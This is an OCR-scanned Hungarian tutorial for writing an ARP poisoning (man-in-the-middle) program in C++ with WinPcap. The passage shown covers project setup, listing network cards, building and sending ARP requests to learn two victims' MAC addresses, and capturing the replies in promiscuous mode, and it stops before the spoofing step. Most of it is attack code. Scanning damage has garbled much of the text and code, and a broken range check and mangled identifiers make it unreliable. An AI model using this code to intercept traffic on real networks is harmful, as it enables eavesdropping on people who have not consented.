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Developers Pack letéitése

A www.winpcap.org weboldalrdl toltsiik le a winpcap "developers pack"-ot, majd a tartalmat
bontsuk ki egy tetszéleges alkonyvtarba.

Toltsiik le a www.winpcap.org weboldalrol magat a winpcap-ot is, és installaljuk fel.

Sziikséges project beallitasok
Uj project készitése

El6szor készitstink egy 1) C++ projectet. Inditsuk el a visual studiot, majd kattintsunk a fie menii
new project pontjara:
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A megjelend ablakba vélasszuk project tipusanak a win32 console application-t, adjunk meg egy
project nevet, €s egy alkonyvtarat, hogy hova készitse:


http://www.winpcap.org/
http://www.winpcap.org/
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A welcome ablakon kattintsunk a next gombra:



Win32 Application Wizard - aaa 2 x|

Welcome to the Win32 Application Wizard

Oreryie These are the current project settings:
application Settings = Console application

Click Fimish from any window to accept the current settings,

After you create the project, see the project's readme. tit file for information
about the project features and files that are generated.

Finish Cancel

< Previous |

Az applications settings ablakban valasszuk a console application-t, és az empty projectet, majd
kattintsunk a finish gombra:



Win32 Application Wizard - aaa




Adjunk a projecthez egy 10;j forrés filet. Ehhez kattintsunk jobb egérgombbal a "source files"
mappara, €s a felugréo mentiben valasszuk az add, azon beliil a "new item..." meniipontot:
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A megjelend ablakban valasszuk ki a C++ filet, adjunk valami nevet az 0j filenak, majd kattintsunk
az add gombra:
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sziikséges Uj include filok hozzaadasa a projecthez

Valasszuk a project properties meniipontot:
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int I=D:
char errbuf[PCAP _ERREUF_SIZE]:

/¥ Betrieve the device list from the local machine +/

f% Print the list #/
for (d= alldevs; d

t *alldevs;
T o*d;
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(peap_findalldevs ex (PCAP SRC IF STRING, NULL A% auth is not needed */, falldevs, err

fprintf(stderr,"Error in peoap_findalldevs ex: %3in", errbuf);

exitil):
!'= NULL; d= d->next)

++i,
[d->description)

d-rname) ;

printf("sd.
if
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A megjelend ablakban valasszuk ki a "configuration properties" azon beliil a "C/C++", majd a
"General"-t. Az "Additional Include Directories" mellett kattintsunk a "..."-ra

A megjelend 0j ablakban kattintsunk a bejegyzés létrehozdsa gombra, majd adjuk hozza a winpcap
kibontasi alkonyvtaran beliill az include alkonyvtérat:

Additional Include Directories
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off
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Ezutan kattintsunk az "ok" gombra.
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Forditasi preprocessorok beallitasa

Vilasszuk a project properties meniipontot:

[::] winpcaplst - ¥isual C++ 2008 Express Edition - |ﬁ' |l|

Fle Edit Wiew | Project | Buld Debug Tools Window Help

t *alldevs:

—t *d;

int i=0;

char errbuf[PCALP ERREUF SIZE]:

i €] wing winpraplst Pr

- - 5 | | Adagess.. T ) e =
(e R A2 || ]| Addmewlem..  cultshiftra B = 00 3
Sl M SR S 22| | Add Existing Ikem...  Shift+alt+a - X E
.éj = Exclude From Project j I - g
o
[ Solution ‘winpca =3
L 21 | Show All Files " pe= ||
E- 4 winpcapls 2 ap-h B K
[ Header Set as Startlp Project m
=
[ Resour| ¢ . g
H Refresh Project Toolbox Tkems =
El- [ Source g el %
=
4
=1
=1
=
o
[ELE

/% Retrieve the device list from the local machine */
if (pecap_findalldevs_ex (PCAP_SRC_IF STRING, NULL /% auth is not needed */, &alldevs, err
{
fprintf(stderr,"Error in peoap_findalldevs_ex: %sin", errbuf);
exitil):
i

/% Print the list */
for(d= alldevs; d != NULL; d= d-rnext)
{
printfi"sd. %s", ++i, d->name);
if [d->description)
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A megjelend ablakban valasszuk ki a "configuration properties" azon beliil a "C/C++", majd a "Pre
Processor"-t. Modositsuk a "Processor Definitions" értékét a kovetkezd képpen:
* adjuk hozza a WPCAP-ot
* adjuk hozza a HAVE REMOTE
* tavolitsuk el az_ DEBUG (ez csak akkor kell, ha runtime librarynak beallitjuk a multi
threaded /MT kapcsolot a kovetkezo részben. Akkor a leforditott exe programunk
konnyebben hordozhat6 lesz, ezért ajanlott)
értékeket:



winpcaplst Property Pages

Configuration: Iﬁctive(Debug)
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Kéd generalas beallitasa

valasszuk ki a "configuration properties" azon beliil a "C/C++", majd a "Code generationt"-t.
Modositsuk a "Runtime Library" tulajdonsag értékét Multi-Threaded (/MT)-re. Ez nem kételezo, de
konnyebben hordozhat6 alkalmazast kapunk, ezért ajanlott.



winpcaplst Property Pages

Configuration: Iﬁctive(Debug)

j PlatFarm: Iﬁctive(WinSZ)
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Linker konfiguralasa winpcap hasznalatahoz

Az utolso 1épés, hogy megmondjuk a linkernek, hogy hol taldlja az eléforditott lib 4llomanyokat,
amiket a winpcap hasznal. Ehhez valasszuk a "configuration properties" azon beliil a "linker", majd

az "Inputot"-t. Mddositsuk az "Additional Dependencies" értékét, a kovetkezd modon:
Adjuk hozza a winpcap developers pack kibontasi helyén beliil a lib alkdnyvtason beliilrdl a

wpcap.lib illetve a packet.lib fileokat:




winpcap1st Property Pages
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winpcaplst Property Pages

Configuration: Iﬁctive(Debug)
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Kartyalista kigydijtése

Els6 feladatunk, hogy kigytjtsiik a halokartyak listajat, hogy a felhasznalo kivalaszthassa, melyiken
akarja futtatni a poisoningot. Erre a kovetkezd egyszerli program részlet képes:
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19.
20.
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22.
23.

#include "pcap.h"
#include "..\Include\packet32.h"
#include <ntddndis.h>
#include <string>
void main()

{

pcap_if t *alldevs;
pcap_if t *d;
int i=0;

char errbuf[PCAP_ERRBUF SIZE];
if (pcap_findalldevs _ex(PCAP_SRC _IF _STRING, NULL, &alldevs, errbuf) ==-1)

{

exit(1);
}

fprintf(stderr,"Error in pcap _findalldevs ex: %s\n", errbuf);

for(d= alldevs; d != NULL; d= d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);

else

printf(" (No description available)\n");
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10.

I1.

12.
13.
14.
15.
16.

17.
18.

19.
20.
21.
22.
23.

hasznaljuk a winpcap-ot
hasznaljuk a packet32.h-t
hasznaljuk az ntddndis.h-t
hasznaljuk a stringeket
indul a program

deklardlunk egy alldevs nevezetii pointert, ami egy pcap_if t tipusa struktirara mutat.

Deklaralunk egy d nevezetl pointert, ami szintén egy pcap_if t tipusu struktirara mutat, ez

majd a kiiratashoz kell, mint segéd valtozo.
Deklaralunk egy i nevezetll integer tipust valtozot, ami a kiiratdsnal majd az interface-eket
sorszamozza.

Deklaralunk egy errbuf nevezetli karakter tombdot, minek a mérete a PCAP_ERRBUF_SIZE

konstans altal definialt méretii lesz
pcap_findalldevs_ex fiiggvény segitségével lekérjiik az interface listat, és ellendrizziik
tortént-e hiba. A fliggvénynek négy paramétert kell megadni:
* Source location: ezen a forrason fog adaptereket keresni. Ha lokalis gépen akarunk
keresni, akkor rpcap://, ha egy tavoli gép adaptereit szeretnénk hasznalni, akkor
rpcap://host:port, ha pedig egy alkonyvtarbdl szeretnénk majd winpcap fileokat

felolvasni, akkor a file://folder/ formatumot kel asznalnunk. A winpcap tamogatja az

IPv6-ot, hosthoz tehat olyan cimeket is elfogad. A példdban az elére definialt
PCAP_SRC IF STRING konstanst hasznaljuk, aminek értéke: "rpcap://", vagyis a
lokalis gép interface-eit fogja kereseni.

* Auth: ennek tavoli géphez vald csatlakozaskor van értelme, egy struktirara mutat,
ami az authentikacios informacidkat tarolja. Mivel most lokalis interface-eket
kerestink, ezért értéke NULL kell legyen.

» Alldevs: egy pointer, ami egy pcap_if t tipusu struktura helye, a struktarat nem kell
létrehozni, azt fliggvény megteszi. Ebben a struktaraban kapjuk vissza az eredményt.

A visszatéréskor az itt megadott pointer egy pcap _if t tipust elemekbdl allo lista

elsé elemére mutat. A listan a struktira next eleme segitségével Iépkedhetiink végig.

* Errbuff: egy pointer, ami tarolni fogja a hibaleirast, ha a fliggvény futasa kozben
hiba torténik. Ezt nekiink kell inicializalni.
A fiiggvénynek a kovetkezok lehetnek a visszatérési értékei:
* 0: nem tortént hiba.
* -1: valamilyen hiba tortént. Amennyiben nem talal egyetlen iterface-t sem, az is
hibanak szamit. Tehat a 0 azt is jelenti, hogy van legalabb egy interface.
Indul a hibakezel6 ag.
Kiirjuk a pcap_findalldevs_ex fliggvény altal visszaadott hibaleirast.
Kilépiink a programbol
vége a hibakezeld agnak.
ciklust inditunk.
* Advaltozo értékét bedllitjuk az interface-eket tartalmazo lista elsd elemére.
* A ciklus addig fut, amig nem NULL az aktualis elem.
* A next elem segitségével tovabb lépkedhetiink a kdvetkezd elemre.
Indul a ciklus belseje
kiirjuk a sorszamot (++i, vagyis 1-t6l sorszamozunk, nem 0-t6l, és az i nevii valtozoban
gyllik az interface-ek szama), és az interface nevét
Megvizsgaljuk, hogy van-e leirasa az interface-nek
Ha igen, akkor kiirjuk a descrition-t is.
Egyébkeént
kiirjuk, hogy nincs leirés
vége a ciklusnak


file://folder/

Paraméterek bekérése

Ezekutan kezdjiik el irni magat a programunkat. Els6 1€pés, az alap paraméterek bekérése, vagyis:
* A felhasznal6 ki tudja valasztani az interface-et amivel dolgozni akar.
* Be kell kérni a két IP cimet, amik kozé be szeretnénk allni.

Folytassuk tehat a programunkat, a 22 sor elé a kovetkez6t irjuk be:

24.  int inum=0;

25.  charipl[17];

26.  charip2[17];

27.  printf("Enter the interface number (1-%d): ",i);
28.  scanf s("%d", &inum);

29.  printf("Enter the IP of first computer: ");

30.  scanf s("%l16s", &ipl, 16);

31.  printf("Enter the IP of second computer: ");
32.  scanf s("%16s", &ip2, 16);

33,  if(inum < 1 || inum > 1)

34.

35. printf("\nInterface number out of range.\n");
36. pcap_freealldevs(alldevs);

37. exit(2);

38.

39.  for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

24. Deklaralunk egy inum nevii valtozoét, ebben fogjuk tarolni a kivalasztott interface szamat.

25. Deklaralunk egy ipl nevii 15 karakter hosszu stringet, ebben fogjuk tarolni az egyik IP cimet
azok koziil, amik kozé be szeretnénk allni.

26. Deklaralunk egy ipl nevii 15 karakter hosszu stringet, ebben fogjuk tarolni a masik IP cimet
azok koziil, amik kozé be szeretnénk allni.

27. Kiirjuk, hogy “Enter the interface number”, és hogy milyen hatarok kozott valaszthat.

28. Beolvassuk az inum véltozoba a felhasznalo vélaszat.

29. Kiirjuk, hogy “Enter the IP of first computer:

30. beolvassuk az ipl nevii valtozoba a felhasznald valaszat, az [Pv4-es cim maximum 15
karakter lehet.

31. Kiirjuk, hogy “Enter the IP of second computer: “

32. beolvassuk az ip2 nevii valtozoba a felhasznald valaszat, az [Pv4-es cim maximum 15
karakter lehet.

33. Ha a valasz 1-nél kisebb, vagy nagyobb i-nél, amiben az interfacek szama van, akkor
hibakezelés kell.

34. Hibakezelés indul

35. kiirjuk, hogy mi nem tetszett.

36. felszabaditjuk az eszkozoket.

37. Kilépiink egy hibakoddal.

38. Vége a hibakezelésnek.

39. d valtozot addig 1éptetjiik a listaban, amig a kivalasztott interface-re mutat.

Kivalasztott kartya MAC cimének lekérdezése

Kovetkezo feladatunk a kivalasztott kartya MAC cimének lekérdezése, mert sokszor sziikségiink
lesz még ra. Ezt csindlja a kdvetkezd kodrészlet:

40. LPADAPTER IpAdapter = 0;
41. PPACKET OID DATA OidData;



42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.

40.

41.

42.
43.

44,

45.
46.
47.
48.

49.
50.
51.
52.
53.
54.
55.

56.

57.
58.

59.

BOOLEAN Status;
char *devname = new char[strlen(d->name)-8];
for(i = 8; d->name[i] !=0; i++)
devname[i-8] = d->name][i];
devname[i-8] = 0;
IpAdapter = PacketOpenAdapter(devname);
OidData = (PPACKET OID DATA)malloc(6 + sizeof(PACKET OID DATA));
if (OidData == NULL)
{

printf("error allocating memory!\n");
PacketCloseAdapter(IpAdapter);
exit(3);

}
OidData->Oid = OID_802_3 CURRENT ADDRESS;

OidData->Length = 6;

ZeroMemory(OidData->Data, 6);

Status = PacketRequest(IpAdapter, FALSE, OidData);
PacketCloseAdapter(IpAdapter);

Deklaralunk egy IpAdapter neviit LPADAPTER tipusu valtozot, az adapter megnyitd
fiiggvény ebben adja vissza az adapterhez val6 handlert, amit a tobbi fliggvénynél majd
hasznalnunk kell a kartya megadasahoz.

Deklaralunk egy OidData neviit PPACKET _OID_DATA tipusu valtozot. Az OID tarolja
majd a kartya informacioit, példaul a nekiink kelld6 MAC cimet.

Deklaralunk egy status nevii valtozot, ebben taroljuk majd a fiiggvény eredményét.
Deklaralunk egy devname nevii valtozot, ebben fogjuk tarolni a felhasznal6 altal kivalasztott
kartya nevét, erre kell majd hivatkozni a kartya megnyitasakor. A kartya nevét a d->name
valtozo tartalmazza, de ott még eldtte van a nyolc karakteres "rpcap://" string, amit majd ki
kell vagni beldle. Ezért a deklaralt valtozo hossza 8 karakterrel rovidebb, mint a d->name
valtozo.

Ciklust inditunk 8-t61 (mivel az els6 8 karaktert kell kihagyni) addig, amig a d->name
valtozo aktudlis karaktere 0 (vagyis string vége jel) nem lesz.

A devname nevil valtozoba atmasoljuk a d->name valtozo tartalmat.

Nem feletkeziink el a lezar6 0 karakterrdl sem.

Megnyitjuk a devname nevii kartyat és a handlert betessziik az IpAdapter nevii valtozoba.
Lefoglaljuk az OidData nevii valtozonak a memoria teriiletet. Sziikséges egy explicit
konverzio is, kiilonben a fordit6 hibat jelez.

Hibakezeld rész, ellendrizziik, hogy sikeriilt-e a memoria foglalas

A hiba 4g indul

kiirjuk, hogy mi a baj.

Lezérjuk az adapterhez valo kapcsolodast.

Kilépiink egy hibakdddal

vége a hibakezelés agnak.

Az OidData->0id valtozoba betessziik, hogy mire vagyunk kivancsiak. Az
OID_802 3 CURRENT_ADDRESS a MAC cimet jelenti.

A MAC cim hossza 6 byte.

Toroljiik az OidData->0id valtoz6 tartalmat.

A PacketRequest fiiggvénnyel lekérdezziik az OID adatot. A fiiggvény visszatérd értéke egy
boolean, ami megmondja, hogy sikeriilt-e a miivelet, és harom bemend paramétere van:

* az adapter neve, amihez csatlakozni szeretnénk

* egy boolean érték, hogy bedllitani szeretnénk-e

* Az OID adatokat tartalmazo valtozo.

Mivel megvan a sziikséges informécio lezarjuk a kapcsolddast a kartyaval.



A két poisoningolandé gép eredeti MAC cimének megszerzése
ARP request csomag osszedllitasa az els6 MAC cim lekérdezéséhez

kovetkezo 1épés, hogy megszerezziik a két gép MAC cimét, amik k6z¢ be szeretnénk allni. Ehhez el
kell kiildentink a halézaton egy ARP request csomagot, amire az adott IP cimii gép meg fogja adni a
MAC cimét. Az ARP request csomag a kovetkezo képpen néz ki:

* Destination MAC 6 byte (FF:FF:FF:FF:FF:FF mindenkinek kiildjiik, mert nem tudjuk ki¢ az
IP cim)

*  Source MAC 6 byte (sajat MAC cim, mi vagyunk a feladok)

* type 2 byte (0x0806)

* hardware type 2 byte (0x0001 ethernet)

* protocol type 2 byte (0x0800 ethernet)

* hardware size 1 byte (0x06)

* protocol size 1 byte (0x04)

* opcode 2 byte (0x0001 request)

* Sender MAC address 6 byte (sajat MAC cime, mi vagyunk kivancsiak a MAC cimre)

* Sender IP address 4 byte (sajat IP cime, mi vagyunk kivancsiak a MAC cimre)

* Target MAC address 6 byte (00:00:00:00:00:00, nem tudjuk a MAC cimet, éppen ezt
kérdezziik)

* Target IP address 4 byte (IP cime, amihez kell a MAC cim, erre vagyunk kivancsiak)

Osszesen 42 byte.

Mint latszik az ARP request csomag tartalmazza a mi IP cimiinket, ezért le kell azt kérdezniink,
illetve masik rész feladat, hogy a korabban beolvasott stringben tarolt IP cimet at kell alakitani
szamtombre, mert a csomagokban nem stringet kell megadni.

60. u_long myiptmp = ((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;

61. u_char *myip;

62. myip = (u_char *)&myiptmp;

63. u_char iplarr[4];

64. i=0;

65. iplarr[i] = atoi(strtok (ipl," ,.-"));

66. while (i<3)

67. {

68. i+t

69. iplarr[i] = atoi(strtok (NULL, " ,.-"));

70. }

71. u_char macrequest1[42] =

72. {OxFF, 0xFF, OxFF, OxFF, OxFF, OxFF,

73. OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData-
>Data[4],0idData->Data[5],

74. 0x08, 0x06,

75. 0x00, 0x01,

76. 0x08, 0x00,

77. 0x06,

78. 0x04,

79. 0x00, 0x01,

80. OidData->Data[0],0idData->Data[ 1],0idData->Data[2],0idData->Data[3],0idData-
>Data[4],0idData->Data[5],

81. myip[0], myip[1], myip[2], myip[3],

82. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

83. iplarr[0],iplarr[1],iplarr[2], iplarr[3]



84. 1

60. befinidlunk egy myiptmp nevii valtozot, amibe a kartya IP cimét tessziik. A kartyara d nevii
valtozo mutat, és az IP adatokat a struktara addresses, azon beliil az addr valtozoé mutatl Ez
egy sockaddr in struktura, azt meg kell adni castolassal. Ennek a struktiranak a sin_addr,
azon beliil az s.addr valtozo tarolja az IP cimet. Ez egy long tipusu adat, de nekiink majd
byteonként lesz ra sziikségiink.

61. Készitlink egy myip nevili u_char tipust adatokra mutatd pointer

62. A myip nevi valtozot rapoziciondlunk a myiptmp nevii valtozéra, amibe beletettiik az ip
cimet

63. deklaralunk egy iplarr nevii u_char tipust elemekbdl all6 négy elemi tombot

64. nullazzuk a ciklus véltozo értékét

65. elkezdjiik szétszedni az ip1 nevil valtozoba beadott stringet az iplarr nevii tombbe.
Elvélaszt6 karakternek elfogadunk szokozt, pontot, kotdjelet, €s vesszot is.

66. Az strtok fliggvény egyessével adja vissza az értékeket, ezért az IP cim masik harom tagjat
ki kell még olvasni, ezért inditunk egy hadrom lépéses ciklust.

67. Ciklus indul

68. noveljiik a ciklus valtozo értékét

69. az strtok fliggvénnyel kibontjuk a tobbi részét is a kapott IP cimnek. Fontos, hogy ezuttal
NULL-t adunk meg mint bemend stringet, ennek hatasara fog az elézdvel tovabb dolgoni.

70. Ciklus vége

71. elkészitjiik az elsé IP cimhez tartozo MAC cim megtudésahoz sziikséges ARP request
csomagot. A macrequestl nevii valtozoba. Az ARP request 42 byteos.

72. A broadcast MAC cimre kiildjiik a kérést

73. a sajat MAC cimiinkrdl

74. A type 0x0806

75. A hardware type 0x0001 vagyis ethernet

76. A protocol type 0x0800 vagyis ethernet

77. A hardware size 0x06

78. A protocol size 0x04

79. Az opcode 0x0001 vagyis arp request

80. A kérdezd, vagyis a mi MAC addressiink

81. A kérdezo, vagyis a mi IP addressiink

82. Az IP cimhez tartoz6 MAC address (00:00:00:00:00:00-val t6ltjiik fel, mivel nem tudjuk a
MAC cimet, éppen ezt kérdezziik)

83. Target IP address (az az IP cim, amihez kell a MAC cim)

84. vége a legérdez6é csomagnak.

ARP request csomag osszeallitasa a masodik MAC cim lekérdezéséhez

Az el6z0hdz hasonldan meg kell csindlni a masik IP cimhez tartozo MAC cim lekérdezéséhez is az
ARP request csomagot:

85.  u_charip2arr[4];

86. i=0;

87.  ip2arr[i] = atoi(strtok (ip2," ,.-"));
88.  while (i<3)

89. {

90. i+

91. ip2arr[i] = atoi(strtok (NULL, " ,.-"));
92. }

93.  u_char macrequest2[42] =
94, {0xFF, 0xFF, OxFF, OxFF, OxFF, OxFF,
9s. OidData->Data[0],0idData->Data[ 1 ],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-



>Datal[5],

96. 0x08, 0x06,

97. 0x00, 0x01,

98. 0x08, 0x00,

99. 0x06,

100. 0x04,

101.  0x00, 0x01,

102. OidData->Data[0],0idData->Data[1],0idData->Data[2],0idData->Data[3],0idData->Data[4],0idData-
>Datal[5],

103. myip[0], myip[1], myip[2], myip(3],
104.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
105.  ip2arr[0], ip2arr[1], ip2arr[2], ip2arr[3]
106. };

85. deklaralunk egy ip2arr nevii u_char tipust elemekbdl allo négy elemii tombot

86. nullazzuk a ciklus valtozoé értékét

87. elkezdjiik szétszedni az ip2 nevil valtozoba beadott stringet az ip2arr nevii tdmbbe.
Elvélaszt6 karakternek elfogadunk szokozt, pontot, kotdjelet, és vesszot is.

88. Az strtok fliggvény egyessével adja vissza az értékeket, ezért az [P cim masik harom tagjat
ki kell még olvasni, ezért inditunk egy hadrom 1épéses ciklust.

89. Ciklus indul

90. noveljiik a ciklus valtozo értékét

91. az strtok fliggvénnyel kibontjuk a tobbi részét is a kapott IP cimnek. Fontos, hogy ezuttal
NULL-t adunk meg mint bemend stringet, ennek hatasara fog az el6z0 stringgel tovabb
dolgozni.

92. Ciklus vége

93. elkészitjiik az elsé IP cimhez tartozo MAC cim megtudasahoz sziikséges ARP request
csomagot. A macrequestl nevii valtozoba. Az ARP request 42 byteos.

94. A broadcast MAC cimre kiildjiik a kérést

95. a sajat MAC cimiinkrdl

96. A type 0x0806

97. A hardware type 0x0001 vagyis ethernet

98. A protocol type 0x0800 vagyis ethernet

99. A hardware size 0x06

100.A protocol size 0x04

101.Az opcode 0x0001 vagyis arp request

102. A kérdez0, vagyis a mi MAC addressiink

103.A kérdezd, vagyis a mi I[P addressiink

104.Az IP cimhez tartoz6 MAC address (00:00:00:00:00:00-val toltjiik fel, mivel nem tudjuk a
MAC cimet, éppen ezt kérdezziik)

105. Target IP address (az az IP cim, amihez kell a MAC cim)

106.vége a legérdezd csomagnak.

Kartya hasznalatbavétele

Ahhoz, hogy hasznalni tudjuk a kartyat a csomagok elfogasara, €s elkiildésére a kartyat meg kell
nyitni a pcap_open parancs segitségével. Ez a fliggvény egy pcap_t tipustl objektumra mutato
pointert ad vissza, ha sikeriil neki a kapcsolodas. Ha nem sikeriil akkor NULL lesz az eredmény.

107. pcap_t *adhandle;
108.  printf("\nadaptername: %s\n",d->name);
109. if ( (adhandle= pcap open(d->name, // name of the device
65536, // portion of the packet to capture 65536 guarantees that the whole
packet will be captured on all the link layers



110.
I11.
112.
113.
114.
115.

107.

108.
109.

110.
I11.
112.
113.
114.
115.

PCAP_OPENFLAG PROMISCUOUS, // promiscuous mode

1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer

))==NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
exit(4);

printf("\nlistening on %s...\n", d->description);

deklaralunk egy adhandle nevezetii pointert, ami egy pcap_t tipusu strukturara mutat. Ebbe

teszi majd a pcap_open filiggvény a pointert amit visszaad.

Kiirjuk, hogy melyik kartyahoz csatlakozunk.

Megprobalunk csatlakozni a kartydhoz a pcap_open fliggvénnyel. Az eredményt az adhandle

valtozoba tessziik, és az if feltétellel ellendrizziik, hogy mi lett a visszakapott érték.

Amennyiben NULL, akkor hiba tortént, és ki kell 1épni. A pcap_open fliggvény paraméterei

a kovetkezok:

* Az adapter neve. A kivalasztott adapter jelen pillanatban a d nevii struktirdban van.
Ennek a name mezdje tartalmazza a sziikséges nevet.

* A maximalis csomagméret, ami lehet. Ha 65535-re allitjuk az minden protokollhoz
biztosan jo.

* Flagek.

* Olvasas timeoutja ms-ban megadva

* Authentikaciés adatokra mutaté pointer. Akkor kell, ha tavoli gépen futtatjuk a
winpcap-ot, €s ahhoz csatlakozunk. Ezt mivel ez a program lokalisan fut NULL-ra
allitjuk.

* Esetleges hiba visszajelzést tartalmaz6 valtozo.

Kezdddik az if igaz 4ga.

Ha hiba tortént kiirjuk, hogy hiba van

felszabaditjuk a lefoglalt er6forrasokat

kilépiink a programbol

vége az if igaz 4ganak

kiirjuk, hogy sikeriilt listenelni a megadott kartyan.

Filter beallitasa

filter beallitasa, hogy csak arp csomagokat lassak:

116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.

struct bpf_program fcode;

u_int netmask;

netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S un.S_addr;
if (pcap_compile(adhandle, &fcode, "arp", 1, netmask) < 0)

fprintf(stderr,"\nUnable to compile the packet filter. Check the syntax.\n");
pcap_freealldevs(alldevs);
exit(5);

i
if (pcap_setfilter(adhandle, &fcode) < 0)
{
fprintf(stderr,\nError setting the filter.\n");

pcap_freealldevs(alldevs);
exit(6);
}



116.készitlink egy fcode nevii bpf program tipusu struktarat.

117.K¢észitlink egy netmask nevii unsigned int tipusu valtozot. Ezt a filter forditasahoz kell
megadni, ha nem adjuk meg, akkor az IP cim alapjan a megfeleld osztalyos subnet maskot
hasznalna, ami ha CIDR-es IP cimeket haszndlunk nem lenne j6. (mivel mi ARP
csomagokat fogunk elkapni ezért igazdndibdl elhagyhat6 lenne)

118.A netmask nevii valtozoba betessziik a kivalasztott kartya netmaskjat.

119.A pcap_compile fiiggvénnyel leforditjuk a filtert. Ha a fiiggvény kimenete negativ, akkor
hiba tortént. A pcap_compile fliggvénynek a kdvetkezd paramétereket kell megadnunk:
* akartydra mutat6 handle, amit a pcap_open fliggvény adott vissza.
* A leforditott kodra mutatd pointer
* filter stirng. Mivel most az ARP comagokat akarjuk elkapni, ezért az értéke "arp". A

filter kis-NAGY betii érzékeny!

* Egy?7?
* netmask

120.indul az if-nek az igaz 4ga

121.ha hiba tortént kiirjuk, hogy hiba van

122.felszabaditjuk az eszkozoket

123 kilépiink hibakoddal

124.vége az if igaz 4ganak

125.beallitjuk a filtert a pcap_setfilter fiiggvénnyel. Ha a visszakapott eredmény negativ, akkor
hiba tortént. A fliggvény bemend paraméterei a kovetkezok:
* A kéartyara mutat6 handle, amit a pcap_open fliggvény adott vissza.
* A leforditott kodra mutatd pointer

126.indul az if igaz aga

127.Ha hiba tortént kiirjuk, hogy hiba van

128.felszabaditjuk a lefoglalt eréforrdsokat

129.kilépiink a programbol

130.vége az if igaz 4ganak

MAC cim lekérdez6 csomagok kikiildése

Ezutén el kell kiildeniink a mar elkészitett két mac cim lekérdezés csomagokat a macrequestl illetve
macrequest2 csomagokat:

131. if (pcap_sendpacket(adhandle, macrequestl, 42) != 0)

132, {

133. fprintf(stderr,\nError sending the packet: %s\n", pcap_geterr(adhandle));
134. exit(7);

135. }
136. if (pcap_sendpacket(adhandle, macrequest2, 42) !=0)
137.

138. fprintf(stderr,"\nError sending the packet: %s\n", pcap geterr(adhandle));
139. exit(8);
140. }

131.A csomagokat a pcap_sendpacket fliggvénnyel kiildhetjiik el. A fiiggvény 0-t ad visszatérd
értéknek, ha sikeriilt az elkiildés, barmi mas azt jelenti, hogy hiba volt. A fliggvénynek
harom paramétere van:

* Akartyara mutat6 handle, amit a pcap_open fliggvény adott vissza
* az elkiildendé csomag most a macrequest] valtozoban van.
* az elkiildend6 byteok szdma, arp csomag esetében 42 byte.



132.indul az if igaz 4ga

133.Ha hiba tortént kiirjuk, hogy hiba van

134 kilépiink a programbol

135.vége az if igaz dganak

136.¢elkiildjiik a macrequest2 csomag tartalmat hasonldan az el6z6 kiildéshez.
137.indul az if igaz aga

138.Ha hiba tortént kiirjuk, hogy hiba van

139.kilépiink a programbol

140.vége az if igaz 4ganak

Valaszokra varakozas

Ezutan hogy kikiildtiik az arp kéréseket mar csak varni kell a valaszokra, amik a kdvetkezd képpen
fognak kinézni:

* Destination MAC 6 byte (sajat MAC)

* Source MAC 6 byte (a valaszold6 MAC cime)

* type 2 byte (0x0806)

* hardware type 2 byte (0x0001 ethernet)

* protocol type 2 byte (0x0800 ethernet)

* hardware size 1 byte (0x06)

* protocol size 1 byte (0x04)

* opcode 2 byte (0x0002 reply)

* Sender MAC address 6 byte (valaszolé6 MAC cime, ez kell nekiink)

* Sender IP address 4 byte (valaszolo IP cime)

* Target MAC address 6 byte (sajat MAC cim)

* Target IP address 4 byte (sajat [P cime)
Osszesen 42 byte.

MAC cimek kivétele a valasz csomagokbol

Ebbdl nekiink a sender MAC addresst kell kivenni.

141. struct pcap_pkthdr *header;

142. constu_char *pkt data;

143. intres;

144. u_char maclarr[6];

145. u_char mac2arr[6];

146. bool maclset=false;

147. bool mac2set=false;

148. time t starttime;

149. starttime = time (NULL);

150. while((res = pcap_next_ex( adhandle, &header, &pkt data)) >= 0 && (maclset!=true) || (mac2set!=true)
&& (difftime(time(NULL),starttime)<10))

151. {

152. if(res == 0)

153. continue;

154. if (iplarr[0]==pkt data[28] && iplarr[1]==pkt data[29] && iplarr[2]==pkt data[30] &&
iplarr[3]==pkt data[31] && maclset!=true)

155. {

156. maclarr[0]=pkt data[22];



157. maclarr[1]=pkt data[23];
158. maclarr[2]=pkt data[24];
159. maclarr[3]=pkt data[25];
160. maclarr[4]=pkt data[26];
161. maclarr[5]=pkt_data[27];
162. maclset=true;

163. }

s
164. if (ip2arr[0]==pkt_data[28] && ip2arr[1]==pkt data[29] && ip2arr[2]==pkt data[30] &&
ip2arr[3]==pkt data[31] && mac2set!=true)

165.

166. mac2arr[0]=pkt data[22];
167. mac2arr[1]=pkt data[23];
168. mac2arr[2]=pkt_data[24];
169. mac2arr[3]=pkt_data[25];
170. mac2arr[4]=pkt_data[26];
171. mac2arr[5]=pkt_data[27];
172. mac2set=true;

173. }

174. }

175. if(res ==-1)

176.¢

177. printf("Error reading the packets: %s\n", pcap geterr(adhandle));
178. exit(9);
179. }

141.Deklaralunk egy header nevii pointert, ami egy pcap pkthdr struktirara mutat. Ez a
struktara tartalmazza majd a a csomaggal kapcsolatos fontosabb informacidkat, pl. a csomag
hossza.

142.Deklardlunk egy pkt data nevii u_char tipusu konstanst, ebbe keriil majd az elkapott csomag
adatai.

143.Deklardlunk egy res nevil int tipusu valtozot, ebben taroljuk majd a csomag elfogésanak
eredményét.

144.Deklardlunk egy maclarr nevii 6 u_char tipust valtozot tartalmazoé tombot, ebbe fogjuk
tarolni az elsd IP cimhez tartoz6 MAC cimet.

145.Deklardlunk egy mac2arr nevili 6 u_char tipust valtozot tartalmazoé tombot, ebbe fogjuk
tarolni a masodik IP cimhez tartozo6 MAC cimet.

146.Deklardlunk egy maclset nevii logikai valtozot, ezzel jelezziik, ha megkaptuk a véalaszt az
elsd ip cimhez tartozo lekérdezésre

147.Deklardlunk egy mac2set nevii logikai valtozot, ezzel jelezziik, ha megkaptuk a véalaszt a
masodik ip cimhez tartozo lekérdezésre

